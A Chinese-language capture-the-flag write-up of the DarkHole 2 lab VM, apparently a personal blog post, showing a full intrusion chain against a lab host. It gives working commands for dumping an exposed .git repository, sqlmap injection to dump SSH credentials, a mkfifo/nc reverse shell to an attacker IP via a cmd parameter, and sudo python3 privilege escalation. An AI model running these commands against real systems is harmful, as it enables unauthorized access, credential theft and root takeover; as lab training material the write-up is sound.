DarkHole 2

DarkHole 2

Posted by Kyon-H on July 15, 2023

ip 扫描发现主机 192.168.163.134

image.png

扫描端口

image.png

目录扫描,发现 .git 目录,使用 GitHack 下载目录

1
2
3
4
5
# 下载GitHack
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack
# 执行
python2 GitHack.py http://192.168.163.134/.git/

进入到 .git 目录查看日志

1
git log

发现有三个版本,第二版本在login.php添加了默认凭证

image.png

回退版本

1
2
3
git reset --hard HEAD^
# or
git reset --hard a4d900a8d85e8938d3601f3cef113ee293028e10

查看 login.php 发现用户名:lush@admin.com 密码:321

image.png

使用用户名密码登录成功,登陆后地址: http://192.168.163.134/dashboard.php?id=1

查看 dashboard.php , 其中 \155为 8 进制,\x6f为 16 进制

image.png

解码 query,测试 mobile 参数未发现注入

1
update users set username='{$fname}',email='{$email}',address='{$address}',contact_number='{$mobile}' where id=1

测试 id参数是否存在注入

1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" --dbs --batch

获取数据库 image.png

获取表

1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --tables

image.png

获取列

1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 --columns

image.png

获取 ssh 表中数据

1
sqlmap.py -u http://192.168.163.134/dashboard.php?id=1 --cookie="PHPSESSID=ig59meapmtplquf4uqpl97v8kp" -D darkhole_2 -T ssh --dump

image.png

用户名:jehad 密码:fool

ssh 登录成功,查看 home 目录

image.png

发现 flag 文件

image.png

获取到数据库用户名密码

image.png

sudo -l 提权失败 image.png

1
cat /etc/crontab

发现 losy 定时任务:在本地开放 9999 端口作为站点

image.png

查看 /opt/web 目录下文件,可知需要构造 get 请求,参数为 cmd

image.png

测试参数

image.png

尝试反弹 shell

使用 nc -e 或 nc -c 都会报错

1
2
3
4
5
6
7
8
# mkfifo /tmp/f
curl http://127.0.0.1:9999?cmd=mkfifo%20%2Ftmp%2Ff
# echo "cat /tmp/f|/bin/bash -i 2>&1|nc -nv 192.168.163.132 4444 >/tmp/f" >/tmp/tt
curl http://127.0.0.1:9999?cmd=echo%20%22cat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20-nv%20192.168.163.132%204444%20%3E%2Ftmp%2Ff%22%20%3E%2Ftmp%2Ftt
# chmod +x /tmp/tt
curl http://127.0.0.1:9999?cmd=chmod%20%2Bx%20%2Ftmp%2Ftt
# /bin/bash /tmp/tt
curl http://127.0.0.1:9999?cmd=%2Fbin%2Fbash%20%2Ftmp%2Ftt

反弹成功切换为用户 losy

image.png

查看 .bash_history 获取到 losy 用户密码:gang

image.png

SSH 登录,sudo -l 查看是否能提权

image.png

使用 python3 提权

1
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

root 提权成功

image.png

获取到最终 flag 文件 image.png